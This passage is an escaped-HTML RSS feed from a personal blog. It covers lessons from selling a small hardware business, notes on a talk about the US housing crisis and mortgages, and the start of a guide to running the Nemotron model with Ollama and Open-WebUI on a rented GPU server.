 srcset='https://mtlynch.io/lessons-from-my-first-exit/gcp-migrate_hu_1fdad041fa2bb0a5.webp 300w, https://mtlynch.io/lessons-from-my-first-exit/gcp-migrate.webp 572w'
 src="https://mtlynch.io/lessons-from-my-first-exit/gcp-migrate.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>When the sale closed, I finally clicked that button and immediately saw this error message:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 771px">



 &lt;a href="https://mtlynch.io/lessons-from-my-first-exit/gcp-error.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 771px, 98vw"
 srcset='https://mtlynch.io/lessons-from-my-first-exit/gcp-error_hu_ce4e42e15e4cbfb7.png 300w, https://mtlynch.io/lessons-from-my-first-exit/gcp-error_hu_ae8036192177b9de.png 600w, https://mtlynch.io/lessons-from-my-first-exit/gcp-error.png 769w'
 src="https://mtlynch.io/lessons-from-my-first-exit/gcp-error.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>GCP&amp;rsquo;s &lt;a href="https://cloud.google.com/resource-manager/docs/project-migration">project migration docs&lt;/a> are a maze of confusing and incorrect instructions. The gist seemed to be that the new owner and I would each need to create paid Google Workspace accounts and go through some complicated process from there. We had a similar issue with some notes and old documents that I&amp;rsquo;d stored in Google Drive.&lt;/p>
&lt;p>The new owner decided it was too much hassle to do the official migration, so I exported what I could, and we deleted the rest.&lt;/p>
&lt;p>In general, I&amp;rsquo;ve tried to minimize my dependencies on Google, both personally and professionally. Google frequently burns me on corner cases like these, so this is a further reminder to depend on them even less.&lt;/p>
&lt;h2 id="what-surprised-me">What surprised me&lt;/h2>
&lt;h3 id="due-diligence-is-unbounded-high-stress-work">Due diligence is unbounded, high-stress work&lt;/h3>
&lt;p>I greatly underestimated how labor-intensive the due diligence process would be.&lt;/p>
&lt;p>At the start, I thought due diligence would be somewhat tedious but still straightforward. The buyer had already seen two years of profit and loss statements before they even signed the LOI. Maybe they&amp;rsquo;d spot-check a few bank statements to verify that my numbers were real. Perhaps I&amp;rsquo;d have an opportunity to show off my immaculate bookkeeping ledger, of which I was quite proud.&lt;/p>
&lt;p>It turned out that the due diligence process required me to share &lt;em>all&lt;/em> of my bank statements from the last two years. And that was just part of the first round of requests.&lt;/p>
&lt;p>As we proceeded further into the due diligence process, I needed to create lots of one-off reports to demonstrate different aspects of my business, like how frequently our customers make repeat purchases or which platforms account for what percentage of our revenue.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to expose customer data, so I did custom processing on our reports to avoid leaking customer details. But the more I customized the reports, the more I risked introducing errors into my records. And if I made an error, the buyer would have grounds to sue me later for selling the company based on fraudulent data. So, even for simple reports, I felt stressed about doing them perfectly.&lt;/p>
&lt;p>A non-cash buyer makes it harder to push back on due diligence requests. The buyer was presenting me with requests from both himself and the bank. The bank was hard to negotiate with because they didn&amp;rsquo;t care if the deal fell through. I was more comfortable pushing back against the buyer because he had skin in the game and was motivated to make a deal. But I can&amp;rsquo;t ask the buyer, &amp;ldquo;Is this request coming from you or from the bank? Because if it&amp;rsquo;s you, I&amp;rsquo;m going to say no; if it&amp;rsquo;s the bank, I&amp;rsquo;ll say yes.&amp;rdquo;&lt;/p>
&lt;h3 id="as-you-prepare-to-sell-everything-costs-4x-as-much">As you prepare to sell, everything costs 4x as much&lt;/h3>
&lt;p>When you sell a small business, the sale price is usually some multiple of your profit or revenue.&lt;/p>
&lt;p>If your annual profit was $100k and businesses like yours sell at 3x annual profit, then you could sell your business for roughly $300k.&lt;/p>
&lt;p>Now, imagine you decided to give one of your employees a $10k bonus. Your profit drops to $90k, so your business is only worth $270k. Giving your employee their $10k bonus costs you $40k: the initial $10k you paid plus another $30k in deflated valuation.&lt;/p>
&lt;p>It&amp;rsquo;s not just bonuses — everything you spend money on is 4x as expensive as you&amp;rsquo;re preparing to sell. If you need to buy someone a new laptop, that $1k laptop now costs $4k.&lt;/p>
&lt;h3 id="you-dont-strictly-need-a-broker-to-sell">You don&amp;rsquo;t strictly need a broker to sell&lt;/h3>
&lt;p>I liked Quiet Light and have no regrets about using them as the broker to sell TinyPilot, but I was surprised to see that I didn&amp;rsquo;t strictly need a broker.&lt;/p>
&lt;p>My only frame of reference for a deal of this size is buying or selling a house. In that process, the broker does a lot of things I don&amp;rsquo;t understand or know how to do like listing on &lt;a href="https://en.wikipedia.org/wiki/Multiple_listing_service">MLS&lt;/a> or ensuring we&amp;rsquo;re following municipal regulations for the sale.&lt;/p>
&lt;p>Quiet Light&amp;rsquo;s main contribution was finding a buyer, as that&amp;rsquo;s something I couldn&amp;rsquo;t have done on my own. After that, they&amp;rsquo;re outside of the critical path of the deal. Once we found a buyer, the heavy lifting of getting the deal to close was on my M&amp;amp;A lawyer to prepare and negotiate all the legal documents.&lt;/p>
&lt;p>The M&amp;amp;A broker should provide guidance to keep the deal on track, which Quiet Light did. They even found a new lender when the buyer&amp;rsquo;s lender backed out. But if my broker had disappeared after the LOI, we could have completed the sale without a broker, whereas I couldn&amp;rsquo;t have closed without a lawyer.&lt;/p>
&lt;p>If I sell a business in the future, I may forego a broker if I can find a buyer independently. As a first-time seller, it was worth 15% of the sale price to have an advisor on my side from start to finish. Now that I have more experience, I&amp;rsquo;d feel more comfortable going through the process on my own, but I valued the broker enough that I&amp;rsquo;d always keep the option open.&lt;/p>
&lt;h3 id="if-the-non-compete-is-too-restrictive-youre-screwed">If the non-compete is too restrictive, you&amp;rsquo;re screwed&lt;/h3>
&lt;p>If a big tech company hires me as a developer, and the 500th page of my contract says I can never write software for any other company, a judge would likely reject that non-compete as unfair and unenforceable.&lt;/p>
&lt;p>If, however, I sell my company, and the purchase agreement says that I agree to never work in software again, a judge might hold me to that promise. My lawyer warned me that judges are stricter in acquisition agreements, as they assume I had reasonable bargaining power and awareness of the agreement. If I signed a bad deal, it&amp;rsquo;s on me.&lt;/p>
&lt;p>When reviewing TinyPilot&amp;rsquo;s purchase agreement, my lawyer carefully reviewed the non-compete clause with me to ensure that I was only agreeing not to work in the domain of KVM over IP devices rather than software or technology in general.&lt;/p>
&lt;h3 id="if-theres-no-cap-on-liability-youre-screwed">If there&amp;rsquo;s no cap on liability, you&amp;rsquo;re screwed&lt;/h3>
&lt;p>When you run a business in the US as a corporation or an LLC, the most you can ever lose is the value of the business itself.&lt;/p>
&lt;p>If your business is worth $100k, and someone sues you for $5M, the worst that can happen is that they take your business. They can&amp;rsquo;t take your house, car, or first-born child — only the assets under the business itself. That&amp;rsquo;s what &amp;ldquo;limited liability&amp;rdquo; means in limited liability company (LLC).&lt;/p>
&lt;p>My lawyer warned me that when I sell my business, I lose limited liability protection. If the purchase agreement didn&amp;rsquo;t limit my liability to the buyer, the buyer could later sue me for any amount, even if it exceeds what they paid in the acquisition.&lt;/p>
&lt;p>The buyer&amp;rsquo;s lawyer originally wanted my liability to be uncapped. My lawyer pushed back and said I absolutely shouldn&amp;rsquo;t sign anything that exposes me to liabilities above the sale price, and the buyer&amp;rsquo;s lawyer eventually relented.&lt;/p>
&lt;h3 id="buyers-have-incentive-to-keep-the-seller-happy">Buyers have incentive to keep the seller happy&lt;/h3>
&lt;p>One of my fears in the process was that after I handed over all of TinyPilot&amp;rsquo;s accounts and domains to the seller, they&amp;rsquo;d lose incentive to cooperate with me. What if the buyer forgets to update the billing information on one of the accounts, and I get hit with a $2k credit card charge? What leverage would I have to make the buyer reimburse me?&lt;/p>
&lt;p>I trusted the buyer, but you also never know how people will behave when power shifts.&lt;/p>
&lt;p>It turns out that even if a buyer wants to cheat, the seller still holds the leverage of institutional knowledge. The buyer doesn&amp;rsquo;t want to screw over the seller for $2k only to realize a month later that they need the seller&amp;rsquo;s help to access some critical account. So, a nice balance of power keeps both sides on their best behavior.&lt;/p>
&lt;h2 id="resources-that-helped-me-prepare">Resources that helped me prepare&lt;/h2>
&lt;p>One of the hardest things about the acquisition was how much of it was completely new to me. It&amp;rsquo;s hard to practice for an acquisition, as even experienced founders only go through a few acquisitions per lifetime.&lt;/p>
&lt;p>The most valuable things I did were to read about small business acquisitions and to ask other founders about their experiences selling their businesses.&lt;/p>
&lt;p>The following were the resources I found most helpful in approaching my exit:&lt;/p>
&lt;ul>
&lt;li>John Warrilow&amp;rsquo;s books and podcasts
&lt;ul>
&lt;li>&lt;a href="https://builttosell.com/">&lt;em>Built to Sell&lt;/em>&lt;/a> was helpful in understanding how to design my business from the start for a potential acquisition.&lt;/li>
&lt;li>&lt;a href="https://builttosell.com/">&lt;em>The Art Of Selling Your Business&lt;/em>&lt;/a> covered the practical considerations of the sale itself.&lt;/li>
&lt;li>&lt;a href="https://builttosell.com/podcast/">&lt;em>Built to Sell Radio&lt;/em>&lt;/a>, Warrilow&amp;rsquo;s podcast, tends to feature larger, less tech-focused companies. I listened to episodes with founders that seemed closest to my situation. My favorites were &lt;a href="https://builttosell.com/radio/episode-363/">Natalie Nagele&lt;/a> and &lt;a href="https://builttosell.com/radio/episode-344/">Laura Roeder&lt;/a>.
&lt;ul>
&lt;li>I &lt;a href="https://builttosell.com/radio/episode-450/">appeared on the show&lt;/a> after my exit.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Privately telling other founders I&amp;rsquo;m thinking of selling
&lt;ul>
&lt;li>I didn&amp;rsquo;t know many people who had been through acquisitions, but I discovered that I knew people who knew people. A few friends put me in touch with people they knew who had experience going through acquisitions, and those were some of the most informative conversations I had.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://microconf.com/">Microconf&lt;/a>, an indie-focused founder conference
&lt;ul>
&lt;li>I met Quiet Light at Microconf. It was helpful to meet several brokers in person and choose who felt like the best match.&lt;/li>
&lt;li>The conference attracts a lot of founders who have been through acquisitions, so it was helpful to ask attendees about their experience selling companies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Blog posts
&lt;ul>
&lt;li>I learned a lot from reading blog posts about acquisitions written by other indie founders.&lt;/li>
&lt;li>My favorites were:
&lt;ul>
&lt;li>&lt;a href="https://baremetrics.com/blog/i-sold-baremetrics">&amp;ldquo;I sold Baremetrics&amp;rdquo;&lt;/a> by Josh Pigford&lt;/li>
&lt;li>&lt;a href="https://blog.codetree.com/articles/what-its-like-buying-a-128k-side-project.html">&amp;ldquo;What it&amp;rsquo;s like buying a $128k side project&amp;rdquo;&lt;/a> by Kareem Mayan&lt;/li>
&lt;li>&lt;a href="https://lauraroeder.com/exactly-how-i-cold-emailed-my-way-to-a-life-changing-exit-and-you-can-too-165d8eaf8306">&amp;ldquo;Exactly How I Cold Emailed My Way to A Life-Changing Exit (And You Can Too)&amp;rdquo;&lt;/a> by Laura Roeder&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by &lt;a href="https://cartoony.eu">Piotr Letachowicz&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Takeaways from Charles Marohn's "Escaping the Housing Trap"</title><link>https://mtlynch.io/notes/marohn-housing-trap/</link><pubDate>Sun, 10 Nov 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/marohn-housing-trap/</guid><description>&lt;p>Last week, I stumbled upon a reddit post announcing that the author, Charles Marohn, was giving a free talk near my town the next morning. Marohn is the author of &lt;a href="https://mtlynch.io/book-reports/strong-towns/">&lt;em>Strong Towns&lt;/em>&lt;/a>, one of my favorite books of the last few years. So, my wife and I attended the talk and enjoyed it.&lt;/p>
&lt;p>The talk is based on ideas from Marohn&amp;rsquo;s new book, &lt;a href="https://www.housingtrap.org/">&lt;em>Escaping the Housing Trap&lt;/em>&lt;/a>, which I haven&amp;rsquo;t read yet, so these notes are from memory.&lt;/p></description><content:encoded>&lt;p>Last week, I stumbled upon a reddit post announcing that the author, Charles Marohn, was giving a free talk near my town the next morning. Marohn is the author of &lt;a href="https://mtlynch.io/book-reports/strong-towns/">&lt;em>Strong Towns&lt;/em>&lt;/a>, one of my favorite books of the last few years. So, my wife and I attended the talk and enjoyed it.&lt;/p>
&lt;p>The talk is based on ideas from Marohn&amp;rsquo;s new book, &lt;a href="https://www.housingtrap.org/">&lt;em>Escaping the Housing Trap&lt;/em>&lt;/a>, which I haven&amp;rsquo;t read yet, so these notes are from memory.&lt;/p>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;h3 id="theres-broad-agreement-that-theres-a-housing-crisis-in-the-us">There&amp;rsquo;s broad agreement that there&amp;rsquo;s a housing crisis in the US&lt;/h3>
&lt;ul>
&lt;li>Most people agree that there is a housing crisis.
&lt;ul>
&lt;li>Housing has become so expensive that most middle class Americans have trouble affording housing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>People disagree about how to solve the crisis.&lt;/li>
&lt;/ul>
&lt;h3 id="contradictory-solutions-to-housing-crisis">Contradictory solutions to housing crisis&lt;/h3>
&lt;h4 id="solution-1-housing-prices-should-fall">Solution 1: Housing prices should fall&lt;/h4>
&lt;ul>
&lt;li>Pro: Housing becomes affordable for more Americans.&lt;/li>
&lt;li>Con: Falls in housing prices historically have had catastrophic effects on the economy.
&lt;ul>
&lt;li>Mortgages go underwater, so people stop paying.&lt;/li>
&lt;li>Banks fold because they can&amp;rsquo;t collect mortgage payments.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="solution-2-housing-prices-should-increase">Solution 2: Housing prices should increase&lt;/h4>
&lt;ul>
&lt;li>Pro: Increased home values is associated with neighborhood prosperity.&lt;/li>
&lt;li>Con: As prices increase, fewer Americans can afford homes.&lt;/li>
&lt;/ul>
&lt;h3 id="history-of-mortgages">History of mortgages&lt;/h3>
&lt;ul>
&lt;li>Pre-1920, home mortgages used to be hyper-local.
&lt;ul>
&lt;li>You&amp;rsquo;d get a mortgage from a local community bank.&lt;/li>
&lt;li>The community bank has all your neighbors&amp;rsquo; money, so it makes extremely conservative loans to minimize risk of insolvency (50% down payment, 3-5 year mortgages).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>After the Great Depression, the federal government made changes to help banks stay solvent and reduce home foreclosures.
&lt;ul>
&lt;li>They created the FDIC, which guaranteed bank balances for account holders.&lt;/li>
&lt;li>They created Fannie Mae, which acted as a secondary market for mortgages (i.e., banks could sell off mortgage debt for cash).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Housing prices have gone through multiple bubbles and bursts since 1920s.&lt;/li>
&lt;li>After every bubble burst, one of the primary tools the federal government uses to spur recovery is to make it easier for Americans to obtain mortgages.
&lt;ul>
&lt;li>e.g., government guarantees loans, government agrees to buy bad loans, government pushes banks to offer longer-term loans (15-year, then 30-year, now 40-year).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="case-shiller-home-price-index">Case-Shiller home price index&lt;/h3>
&lt;ul>
&lt;li>The &lt;a href="https://www.investopedia.com/terms/s/sp_case_shiller_us_nhpi.asp">Case-Shiller home price index&lt;/a> is an index of home prices in the US.&lt;/li>
&lt;li>Marohn showed a graph of the index going back to the early 1900s, but I can&amp;rsquo;t find it anywhere online.&lt;/li>
&lt;li>In Marohn&amp;rsquo;s graph, you can see clear cycles where home prices peak, then crash as a recession hits, then rise to new highs in response to government intervention.&lt;/li>
&lt;/ul>
&lt;h3 id="the-problem-with-accessible-mortgages">The problem with accessible mortgages&lt;/h3>
&lt;ul>
&lt;li>The more the government intervenes to make loans accessible, the more mortgages become an instrument for banks and investors to profit off of homeowners.
&lt;ul>
&lt;li>Mortgages now serve investors&amp;rsquo; profits rather than helping Americans afford homes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Offering 30- or 40-year mortgages encourages homeowners to make irresponsible choices.
&lt;ul>
&lt;li>If someone can&amp;rsquo;t afford a house with a 15-year mortgage, they shouldn&amp;rsquo;t buy with a 30-year mortgage, either.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Financing is available for high-end and mid-range home construction but very little at the low end.
&lt;ul>
&lt;li>It&amp;rsquo;s difficult to obtain financing to build a 400 square foot house or to turn a single-family home into a duplex.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Higher and higher loans are not sustainable.
&lt;ul>
&lt;li>They put Americans deeper in debt and encourage irresponsible purchases.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="marohns-proposed-solutions">Marohn&amp;rsquo;s proposed solutions&lt;/h3>
&lt;ul>
&lt;li>Reduce friction in permitting.
&lt;ul>
&lt;li>Someone should be able to walk into city hall with building plans at 9 AM and walk out with an approval to start building.&lt;/li>
&lt;li>It&amp;rsquo;s fine if big box stores still go through months of approvals, but single family homes should be near instant.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Encourage starter homes.
&lt;ul>
&lt;li>Offer financing for building small homes.&lt;/li>
&lt;li>Offer financing to let people build backyard cottages (aka in-law apartments / ADUs) if they have excess yard space.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Make duplex to single conversions simpler.
&lt;ul>
&lt;li>A retiree living in a 4 bedroom house by themselves should be allowed to add a kitchenette and extra entrance and rent it out with minimal regulatory friction.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>An Unsuccessful Experiment with Nemotron</title><link>https://mtlynch.io/notes/llama3.1-nemotron-ollama/</link><pubDate>Tue, 29 Oct 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/llama3.1-nemotron-ollama/</guid><description>&lt;p>A few weeks ago, NVIDIA released Nemotron, a large language model that they derived from Meta&amp;rsquo;s Llama 3.1 70B.&lt;/p>
&lt;p>NVIDIA claimed at release that Nemotron outperformed GPT-4o and Claude 3.5 Sonnet &lt;a href="https://huggingface.co/nvidia/Llama-3.1-Nemotron-70B-Instruct-HF">on certain benchmarks&lt;/a>. That was exciting news, as my experience with self-hostable AI models is that they trail commercial models by about a year in terms of accuracy and quality.&lt;/p>
&lt;p>I decided to test out Nemotron with a few simple coding tasks to see how it compared to commercial models like Claude 3.5 Sonnet.&lt;/p></description><content:encoded>&lt;p>A few weeks ago, NVIDIA released Nemotron, a large language model that they derived from Meta&amp;rsquo;s Llama 3.1 70B.&lt;/p>
&lt;p>NVIDIA claimed at release that Nemotron outperformed GPT-4o and Claude 3.5 Sonnet &lt;a href="https://huggingface.co/nvidia/Llama-3.1-Nemotron-70B-Instruct-HF">on certain benchmarks&lt;/a>. That was exciting news, as my experience with self-hostable AI models is that they trail commercial models by about a year in terms of accuracy and quality.&lt;/p>
&lt;p>I decided to test out Nemotron with a few simple coding tasks to see how it compared to commercial models like Claude 3.5 Sonnet.&lt;/p>
&lt;h2 id="provisioning-a-cloud-server-with-a-gpu">Provisioning a cloud server with a GPU&lt;/h2>
&lt;p>I initially tried to run Nemotron on my local workstation, but my 9-year old GTX 970 GPU said, &amp;ldquo;Haha, funny joke!&amp;rdquo; Ollama refused to even install the Nemotron model.&lt;/p>
&lt;p>Instead, I provisioned the following server on &lt;a href="https://scaleway.com">Scaleway&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>Server instance type: H100-1-80G&lt;/li>
&lt;li>OS: Debian 12&lt;/li>
&lt;li>Disk size: 200 GB (needed because the model is large)&lt;/li>
&lt;/ul>
&lt;p>To SSH in, I ran the following command with port forwarding because I&amp;rsquo;ll need access to the web interface that will run on the server&amp;rsquo;s &lt;code>localhost&lt;/code> interface.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TARGET_IP&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;51.159.150.3&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your server&amp;#39;s IP.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">REMOTE_PORT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;8080&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">LOCAL_PORT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;8080&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># SSH in and port-forward a port to access the Open-WebUI web interface.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TARGET_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> -L &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">REMOTE_PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:localhost:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LOCAL_PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-docker">Install Docker&lt;/h2>
&lt;p>Next, I installed Docker so that I can run Ollama under the Open-WebUI web interface:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install ca-certificates curl &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo install -m &lt;span style="color:#3677a9">0755&lt;/span> -d /etc/apt/keyrings &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo curl -fsSL https://download.docker.com/linux/debian/gpg &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o /etc/apt/keyrings/docker.asc &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo chmod a+r /etc/apt/keyrings/docker.asc &amp;amp;&amp;amp;&lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;deb [arch=&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>dpkg --print-architecture&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13"> signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>. /etc/os-release &amp;amp;&amp;amp; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$VERSION_CODENAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13"> stable&amp;#34;&lt;/span> | &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo usermod -aG docker &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> newgrp docker
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To test everything is working, run the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker run hello-world
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="start-ollama-and-open-webui">Start Ollama and Open-WebUI&lt;/h2>
&lt;p>Since &lt;a href="https://mtlynch.io/notes/ollama-llama3/">my last Ollama experiment&lt;/a>, the install process has gotten even easier.&lt;/p>
&lt;p>You can now install Ollama and Open-WebUI in a single Docker container, which is easier than having to deal with Docker Compose:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -d &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -p 8080:8080 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --gpus=all &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -v ollama:/root/.ollama &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -v open-webui:/app/backend/data &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name open-webui &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --restart always &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ghcr.io/open-webui/open-webui:ollama
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once the server is up and running, visit the following URL in your browser:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://localhost:8080">http://localhost:8080&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>You&amp;rsquo;ll first see a page prompting for a login. Click &amp;ldquo;Sign up.&amp;rdquo;&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 482px">



 &lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-signup.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 482px, 98vw"
 srcset='https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-signup_hu_24ad1c71d5a716af.webp 300w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-signup.webp 480w'
 src="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-signup.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then enter any details. You don&amp;rsquo;t really need a valid email, as far as I can tell.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 482px">



 &lt;a href="https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-create-account.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 482px, 98vw"
 srcset='https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-create-account_hu_aca5991858bd2b79.webp 300w, https://mtlynch.io/notes/llama3.1-nemotron-ollama/open-webui-create-account.webp 480w'
